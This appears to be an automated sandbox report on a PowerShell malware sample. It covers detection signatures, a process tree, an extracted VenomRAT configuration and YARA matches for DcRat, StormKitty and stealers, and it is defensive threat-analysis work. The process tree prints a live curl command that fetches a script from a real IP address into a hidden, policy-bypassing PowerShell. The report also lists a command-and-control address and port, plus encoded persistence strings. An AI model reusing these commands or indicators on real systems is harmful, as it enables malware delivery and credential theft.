Edit tour

Windows Analysis Report
CKi4EZWZsC.ps1

Overview

General Information

Sample name:	CKi4EZWZsC.ps1 renamed because original name is a hash value
Original sample name:	f7181e485d0bc7cd60c3bd41ec47a038.ps1
Analysis ID:	1584679
MD5:	f7181e485d0bc7cd60c3bd41ec47a038
SHA1:	7f5e8af401b1a3adeddacf7c94acba89130b3407
SHA256:	616666d9b60d1c211b76fac927651e82dbe9fc4d62d296b7e55950ab56cdf2a5
Tags:	LummaStealerps1user-abuse_ch
Infos:

Detection

DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected BrowserPasswordDump

Yara detected DcRat

Yara detected Keylogger Generic

Yara detected Powershell download and execute

Yara detected StormKitty Stealer

Yara detected Strela Stealer

Yara detected VenomRAT

.NET source code contains very large strings

.NET source code references suspicious native API functions

AI detected suspicious sample

Bypasses PowerShell execution policy

Compiles code for process injection (via .Net compiler)

Found malicious URL file

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powerup Write Hijack DLL

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7312 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7556 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7572 cmdline: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

curl.exe (PID: 7596 cmdline: curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1 MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

powershell.exe (PID: 7580 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -" MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 7712 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7728 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES91A5.tmp" "c:\Users\user\AppData\Local\Temp\ivm1acbc\CSC3984141EEAB441BDB4B78998253F3D3.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

RegAsm.exe (PID: 7764 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7772 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7780 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7788 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7796 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, 404KeyLogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: VenomRAT

{"Server": "157.20.182.177", "Port": "4449", "Version": "RAT + hVNC  6.0.5", "MutexName": "qqmnuvsdjshjvhakeih", "Autorun": "false", "Group": "false"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x284593:$a1: havecamera 0x2d6575:$a2: timeout 3 > NUL 0x2d9d70:$a3: START "" " 0x2da2cb:$a3: START "" " 0x2da1a6:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x2da243:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
dump.pcap	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2de5ef:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x2d5d13:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2d1989:$s6: VirtualBox 0x2e2bb2:$s6: VirtualBox 0x2ddf55:$s8: Win32_ComputerSystem 0x2e2b18:$s8: Win32_ComputerSystem 0x2dabb7:$s9: Win32_Process Where ParentProcessID= 0x2da78e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2da82b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2daa6e:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.4520096797.000000000339B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1730a8:$a1: havecamera 0x1bded2:$a2: timeout 3 > NUL 0x1c1255:$a3: START "" " 0x1c176a:$a3: START "" " 0x1c1645:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1c16e2:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1c54a6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1bd742:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x1b98b6:$s6: VirtualBox 0x1c9435:$s6: VirtualBox 0x1c4e52:$s8: Win32_ComputerSystem 0x1c939b:$s8: Win32_ComputerSystem 0x1c1f7e:$s9: Win32_Process Where ParentProcessID= 0x1c1b9b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1c1c38:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1c1d4d:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1c1e35:$cnc4: POST / HTTP/1.1
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241208:$a1: havecamera 0x28c032:$a2: timeout 3 > NUL 0x28f3b5:$a3: START "" " 0x28f8ca:$a3: START "" " 0x28f7a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f842:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293606:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b8a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287a16:$s6: VirtualBox 0x297595:$s6: VirtualBox 0x292fb2:$s8: Win32_ComputerSystem 0x2974fb:$s8: Win32_ComputerSystem 0x2900de:$s9: Win32_Process Where ParentProcessID= 0x28fcfb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fead:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff95:$cnc4: POST / HTTP/1.1
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2420e0:$a1: havecamera 0x53fb18:$a1: havecamera 0x28cf0a:$a2: timeout 3 > NUL 0x58a942:$a2: timeout 3 > NUL 0x29028d:$a3: START "" " 0x2907a2:$a3: START "" " 0x58dcc5:$a3: START "" " 0x58e1da:$a3: START "" " 0x29067d:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58e0b5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x29071a:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58e152:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2944de:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x591f16:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28c77a:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x58a1b2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x2888ee:$s6: VirtualBox 0x29846d:$s6: VirtualBox 0x586326:$s6: VirtualBox 0x595ea5:$s6: VirtualBox 0x293e8a:$s8: Win32_ComputerSystem 0x2983d3:$s8: Win32_ComputerSystem 0x5918c2:$s8: Win32_ComputerSystem 0x595e0b:$s8: Win32_ComputerSystem 0x290fb6:$s9: Win32_Process Where ParentProcessID= 0x58e9ee:$s9: Win32_Process Where ParentProcessID= 0x290bd3:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58e60b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x290c70:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58e6a8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x290d85:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58e7bd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290e6d:$cnc4: POST / HTTP/1.1 0x58e8a5:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_StrelaStealer	Yara detected Strela Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_Keylogger_Generic_1	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 7580	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 7580	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xf4c51:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2350a6:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: powershell.exe PID: 7580	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x98a05:$s6: VirtualBox 0x1d8e5a:$s6: VirtualBox 0x24e2d:$s8: Win32_ComputerSystem 0x25088:$s8: Win32_ComputerSystem 0x2983b:$s8: Win32_ComputerSystem 0x298d8:$s8: Win32_ComputerSystem 0xf4927:$s8: Win32_ComputerSystem 0xf6b44:$s8: Win32_ComputerSystem 0x234d7c:$s8: Win32_ComputerSystem 0x236f99:$s8: Win32_ComputerSystem 0xf327d:$s9: Win32_Process Where ParentProcessID= 0x2336d2:$s9: Win32_Process Where ParentProcessID= 0xf3090:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2334e5:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf30de:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x233533:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf3168:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2335bd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xf31dc:$cnc4: POST / HTTP/1.1 0x233631:$cnc4: POST / HTTP/1.1
Process Memory Space: RegAsm.exe PID: 7796	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7796	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: RegAsm.exe PID: 7796	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7796	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: RegAsm.exe PID: 7796	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: RegAsm.exe PID: 7796	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 7796	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xd18a7:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: RegAsm.exe PID: 7796	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7565b:$s6: VirtualBox 0x129f:$s8: Win32_ComputerSystem 0x5f3c:$s8: Win32_ComputerSystem 0x5f51:$s8: Win32_ComputerSystem 0x5fb4:$s8: Win32_ComputerSystem 0x6913:$s8: Win32_ComputerSystem 0x11989:$s8: Win32_ComputerSystem 0xd157d:$s8: Win32_ComputerSystem 0xd379a:$s8: Win32_ComputerSystem 0x10f41d:$s8: Win32_ComputerSystem 0x11682d:$s8: Win32_ComputerSystem 0x116902:$s8: Win32_ComputerSystem 0x125f0b:$s8: Win32_ComputerSystem 0x125f81:$s8: Win32_ComputerSystem 0x1411d7:$s8: Win32_ComputerSystem 0x1412ad:$s8: Win32_ComputerSystem 0x1419a3:$s8: Win32_ComputerSystem 0x141b0b:$s8: Win32_ComputerSystem 0x14209b:$s8: Win32_ComputerSystem 0x142877:$s8: Win32_ComputerSystem 0x1428eb:$s8: Win32_ComputerSystem
Click to see the 39 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.powershell.exe.1c501c9e7c8.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
5.2.powershell.exe.1c5004d8480.0.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
5.2.powershell.exe.1c501c98be0.2.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x61b0:$x2: https://github.com/LimerBoy/StormKitty 0x61cc:$x3: StormKitty
5.2.powershell.exe.1c501b214a6.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
5.2.powershell.exe.1c5004892b0.7.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4f798:$x2: https://github.com/LimerBoy/StormKitty 0x4f7b4:$x3: StormKitty
5.2.powershell.exe.1c500485e26.6.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x52c22:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x52c3e:$x3: StormKitty
13.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
13.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
13.2.RegAsm.exe.525b8a.0.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
13.2.RegAsm.exe.525b8a.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
13.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
13.2.RegAsm.exe.525b8a.0.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
13.2.RegAsm.exe.525b8a.0.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
